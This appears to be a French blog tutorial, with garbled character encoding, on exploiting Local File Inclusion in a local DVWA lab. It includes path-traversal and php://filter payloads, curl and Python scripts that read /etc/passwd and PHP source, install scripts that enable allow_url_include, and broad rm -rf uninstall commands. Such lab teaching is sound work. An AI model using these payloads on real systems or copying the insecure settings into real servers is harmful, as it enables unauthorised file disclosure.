đ Introduction : Qu’est-ce qu’une LFI (Local File Inclusion) ?
La Local File Inclusion (LFI) est une vulnĂ©rabilitĂ© web qui permet Ă un attaquant dâinclure un fichier prĂ©sent sur le systĂšme de fichiers du serveur via des paramĂštres dâURL mal protĂ©gĂ©s.
Elle survient généralement quand une application PHP utilise une fonction comme include(), require(), ou file_get_contents() avec une variable utilisateur non filtrée :
$page = $_GET['page']; include($page); // â ïž VulnĂ©rable !
đŻ Objectifs possibles dâune LFI :
- Lire des fichiers sensibles (
/etc/passwd, fichiers de configâŠ), - Inclure du code malveillant dĂ©jĂ prĂ©sent sur le serveur,
- Contourner des protections (avec des wrappers comme
php://filter), - Préparer une escalade vers une RCE (Remote Code Execution).
đŻ Objectif
Reproduire un LFI permettant de lire arbitrairement des fichiers systĂšme (/etc/passwd), voire de bypasser les protections avec des wrappers PHP comme php://filter.
đ§Ș Environnement de test
Tu peux utiliser une VM avec :
- DVWA (Damn Vulnerable Web App)Â sur Debian 12 ou Kali
- Un navigateur avec Burp Suite
- AccĂšs root Ă la machine cible (VM perso ou lab)
đ§ Outils requis
- Navigateur + Burp Suite
- DVWA installé : https://github.com/digininja/DVWA
- Serveur Apache ou NGINX avec PHP
- MySQL/MariaDB pour DVWA
âïž Installation de DVWA (si tu pars de 0)
# 1. Cloner le dépÎt git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa # 2. Configurer Apache/Nginx + PHP + MariaDB apt install apache2 php php-mysqli mariadb-server # 3. Configurer la base mysql -u root -p CREATE DATABASE dvwa; CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass'; GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost'; FLUSH PRIVILEGES; exit; # 4. Configurer le fichier /var/www/html/dvwa/config/config.inc.php cp config/config.inc.php.dist config/config.inc.php nano config/config.inc.php # (modifier user et pass MySQL) # 5. Démarrer les services<br>systemctl start apache2 systemctl start mysql
đŻ LFI – Ătapes de l’exploit
- Connexion à DVWA, niveau de sécurité réglé sur « Low ».
- Aller dans le menu « File Inclusion ».
- Tester ce type dâURL :
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd
Tu verras alors un dump du fichier /etc/passwd.
đ§Ș Ătape bonus : wrapper PHP
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index
Cela encode le contenu de index.php en base64 et permet de lire des fichiers PHP normalement protégés (trÚs utile en pentest réel).
đ SĂ©curisation post-test
- Change le niveau de sécurité de DVWA à « High ».
- Active les protections dans Apache :Â
open_basedir, dĂ©sactiverÂallow_url_include, etc.
đ Script dâautomatisation (bash + curl)
Voici un script pour tester automatiquement lâaccĂšs Ă /etc/passwd :
#!/bin/bash URL="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd" COOKIE="security=low; PHPSESSID=xxx" # remplace PHPSESSID par ton cookie réel curl -s -b "$COOKIE" "$URL" | grep root
đŠ En rĂ©sumĂ©
| ĂlĂ©ment | DĂ©tail |
|---|---|
| Vulnérabilité | LFI (Local File Inclusion) |
| Plateforme | DVWA |
| Résultat | Lire /etc/passwd, index.php |
| Niveau | Facile, idéal pour lab |
đ ïž # BONUS : Script dâinstallation automatique de DVWA
#!/bin/bash # === VĂ©rifications prĂ©alables === if [ "$EUID" -ne 0 ]; then echo "Ce script doit ĂȘtre exĂ©cutĂ© en root." exit 1 fi echo "[+] Mise Ă jour du systĂšme..." apt update && apt upgrade -y echo "[+] Installation des paquets requis..." apt install -y apache2 php php-mysqli git mariadb-server libapache2-mod-php echo "[+] Clonage de DVWA..." git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa echo "[+] Configuration des droits..." chown -R www-data:www-data /var/www/html/dvwa chmod -R 755 /var/www/html/dvwa echo "[+] DĂ©marrage des services..." systemctl enable apache2 mariadb systemctl start apache2 mariadb echo "[+] Configuration de la base de donnĂ©es..." mysql -u root <<EOF CREATE DATABASE dvwa; CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass'; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost'; FLUSH PRIVILEGES; EOF echo "[+] Configuration du fichier DVWA..." cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php sed -i "s/'user' => 'root'/'user' => 'dvwauser'/" /var/www/html/dvwa/config/config.inc.php sed -i "s/'password' => ''/'password' => 'dvwapass'/" /var/www/html/dvwa/config/config.inc.php echo "[+] Activation des options PHP (allow_url_include)..." PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION;')/apache2/php.ini" sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI" sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI" systemctl restart apache2 echo "[+] PrĂ©paration de DVWA : initialisation de la base via l'interface..." curl -s -c cookies.txt -b cookies.txt "http://127.0.0.1/dvwa/setup.php" > /dev/null echo "[+] Script terminĂ©." echo echo "âĄïž AccĂšde Ă DVWA via : http://127.0.0.1/dvwa" echo "đ Identifiants par dĂ©faut : admin / password" echo echo "â Une fois connectĂ©, va dans 'DVWA Security' et sĂ©lectionne 'Low'."
đ Conseils dâusage
- Tu peux enregistrer ce script dans un fichierÂ
install_dvwa.sh, puis le lancer :
chmod +x install_dvwa.sh sudo ./install_dvwa.sh
- Si tu es derriĂšre un proxy ou un reverse proxy, nâoublie pas dâadapter les URL et les ports.
- Pour NGINX Ă la place dâApache : je peux tâen gĂ©nĂ©rer une version adaptĂ©e (avec FPM et conf NGINX incluse), dis-le-moi !
đ§č # BONUS : Script de dĂ©sinstallation propre de DVWA + dĂ©pendances
#!/bin/bash # === VĂ©rifications prĂ©alables === if [ "$EUID" -ne 0 ]; then echo "Ce script doit ĂȘtre exĂ©cutĂ© en root." exit 1 fi read -p "â ïž Ce script va supprimer DVWA, Apache, PHP et MariaDB. Continuer ? (y/N) " confirm [[ "$confirm" != "y" ]] && echo "Abandon." && exit 1 echo "[+] Suppression des paquets..." apt purge --remove -y apache2 php* mariadb-server mariadb-client apt autoremove -y apt autoclean echo "[+] Suppression des fichiers et bases DVWA..." rm -rf /var/www/html/dvwa rm -rf /etc/apache2 rm -rf /etc/php rm -rf /var/lib/mysql rm -rf /var/log/mysql echo "[+] Fin de la dĂ©sinstallation."
đĄ Sauvegarde-le sous
uninstall_dvwa.shpuis :
chmod +x uninstall_dvwa.sh sudo ./uninstall_dvwa.sh
đ„ # BONUS đ : Script de test automatique LFI (PoC ciblant /etc/passwd)
Ce script suppose que DVWA est en mode « Low », que tu es connecté avec Burp ou navigateur, et que tu récupÚres ton cookie PHPSESSID.
#!/bin/bash # Remplacer par ton PHPSESSID aprĂšs connexion Ă DVWA COOKIE="security=low; PHPSESSID=changeme" URL="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd" echo "[+] Test d'inclusion de fichier local..." curl -s -b "$COOKIE" "$URL" | grep -E '^root|/home|/bin/bash' && echo "[â ] Fichier /etc/passwd exposĂ© !" || echo "[â] Rien trouvĂ©. VĂ©rifie le cookie ou le niveau de sĂ©curitĂ©." # Bonus : wrapper base64 echo -e "\n[+] Test avec php://filter" curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index" | grep -E 'PD9waHAg|Q29weXJpZ2h0|dmFsdWU=' && echo "[â ] Inclusion de index.php encodĂ© dĂ©tectĂ©e." || echo "[â] Ăchec du wrapper PHP."
đĄ Sauvegarde-le sous
lfi_test.sh, modifie le PHPSESSID et lance :
chmod +x lfi_test.sh ./lfi_test.sh
đ„ # BONUS đ : Script PYTHON
LFI PYTHON
# DVWA Lab Setup Suite - Jean-Marc
# ==========================
# 1. INSTALL - Apache Setup
# ==========================
install_dvwa_apache() {
echo "[Apache] Installing DVWA with Apache..."
apt update && apt install -y apache2 php php-mysqli git mariadb-server libapache2-mod-php
git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa
chown -R www-data:www-data /var/www/html/dvwa
systemctl enable apache2 mariadb
systemctl start apache2 mariadb
mysql -u root <<EOF
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EOF
cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php
sed -i "s/'user' => 'root'/'user' => 'dvwauser'/" /var/www/html/dvwa/config/config.inc.php
sed -i "s/'password' => ''/'password' => 'dvwapass'/" /var/www/html/dvwa/config/config.inc.php
PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')/apache2/php.ini"
sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI"
sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI"
systemctl restart apache2
echo "[Apache] DVWA installed at: http://127.0.0.1/dvwa"
}
# ==========================
# 2. INSTALL - NGINX Setup
# ==========================
install_dvwa_nginx() {
echo "[NGINX] Installing DVWA with NGINX + PHP-FPM..."
apt update && apt install -y nginx php-fpm php-mysqli php-curl php-gd php-xml php-mbstring php-zip mariadb-server git
git clone https://github.com/digininja/DVWA.git /var/www/dvwa
chown -R www-data:www-data /var/www/dvwa
mysql -u root <<EOF
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EOF
cp /var/www/dvwa/config/config.inc.php.dist /var/www/dvwa/config/config.inc.php
sed -i "s/'user' => 'root'/'user' => 'dvwauser'/" /var/www/dvwa/config/config.inc.php
sed -i "s/'password' => ''/'password' => 'dvwapass'/" /var/www/dvwa/config/config.inc.php
PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')/fpm/php.ini"
sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI"
sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI"
systemctl restart php*-fpm
cat <<EOF > /etc/nginx/sites-available/dvwa
server {
listen 80;
server_name localhost;
root /var/www/dvwa;
index index.php index.html;
location / {
try_files \$uri \$uri/ =404;
}
location ~ \.php\$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')-fpm.sock;
}
location ~ /\.ht {
deny all;
}
}
EOF
ln -s /etc/nginx/sites-available/dvwa /etc/nginx/sites-enabled/
rm -f /etc/nginx/sites-enabled/default
nginx -t && systemctl restart nginx
echo "[NGINX] DVWA installed at: http://127.0.0.1"
}
# ============================
# 3. REVERSE PROXY SETUP (opt)
# ============================
install_reverse_proxy() {
echo "[Reverse Proxy] Installing NGINX reverse proxy to Apache..."
apt install -y nginx
cat <<EOF > /etc/nginx/sites-available/reverse-proxy
server {
listen 80;
server_name localhost;
location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host \$host;
proxy_set_header X-Real-IP \$remote_addr;
proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto \$scheme;
}
}
EOF
ln -s /etc/nginx/sites-available/reverse-proxy /etc/nginx/sites-enabled/
systemctl restart nginx
echo "[Reverse Proxy] Active at: http://127.0.0.1/ â Apache on :8080"
}
# =============================
# 4. LFI PoC Test Script (curl)
# =============================
lfi_test() {
echo "[PoC] Test LFI on DVWA (curl)"
echo "Remplacer le PHPSESSID avant usage."
COOKIE="security=low; PHPSESSID=changeme"
curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd" | grep -E '^root|/bin/bash'
echo -e "\n[+] php://filter test"
curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index" | grep 'PD9waHAg'
}
# =============================
# 5. LFI PoC Test Script (Python)
# =============================
lfi_test_python() {
echo "[PoC] LFI Python script - replace session before using."
cat <<EOF > lfi_poc.py
import requests
url = "http://127.0.0.1/dvwa/vulnerabilities/fi/"
cookie = {"PHPSESSID": "changeme", "security": "low"}
payloads = ["../../../../etc/passwd", "php://filter/convert.base64-encode/resource=index"]
for payload in payloads:
params = {"page": payload}
r = requests.get(url, params=params, cookies=cookie)
print(f"\n[+] Payload: {payload}\n{'='*40}\n")
print(r.text[:1000])
EOF
echo "[+] Python PoC created: lfi_poc.py"
echo "â ïž N'oublie pas de modifier le PHPSESSID dans le script."
}
# ==========================
# 6. UNINSTALL ALL CLEANLY
# ==========================
uninstall_dvwa() {
echo "[UNINSTALL] Remove DVWA, Apache/NGINX, PHP & MariaDB"
apt purge --remove -y apache2 nginx php* mariadb-server mariadb-client
apt autoremove -y && apt autoclean
rm -rf /var/www/html/dvwa /var/www/dvwa /etc/nginx/sites-{available,enabled}/dvwa /etc/apache2 /etc/php /var/lib/mysql /var/log/mysql
echo "[UNINSTALL] Clean complete."
}
# ==========================
# MAIN MENU
# ==========================
case "$1" in
install-apache)
install_dvwa_apache
;;
install-nginx)
install_dvwa_nginx
;;
reverse-proxy)
install_reverse_proxy
;;
lfi-test)
lfi_test
;;
lfi-test-python)
lfi_test_python
;;
uninstall)
uninstall_dvwa
;;
*)
echo "Usage: $0 {install-apache|install-nginx|reverse-proxy|lfi-test|lfi-test-python|uninstall}"
;;
esac
â
Le script Dvwa Lab Setup contient désormais une fonction lfi_test_python qui génÚre un PoC Python exploitant une LFI sur DVWA avec :
- Session PHP configurable
- Test automatique de :
../../../../etc/passwdphp://filter/convert.base64-encode/resource=index
â¶ïž Pour gĂ©nĂ©rer le PoC :
bash ./dvwa_setup.sh lfi-test-python
Un fichier lfi_poc.py sera créé dans le dossier courant.
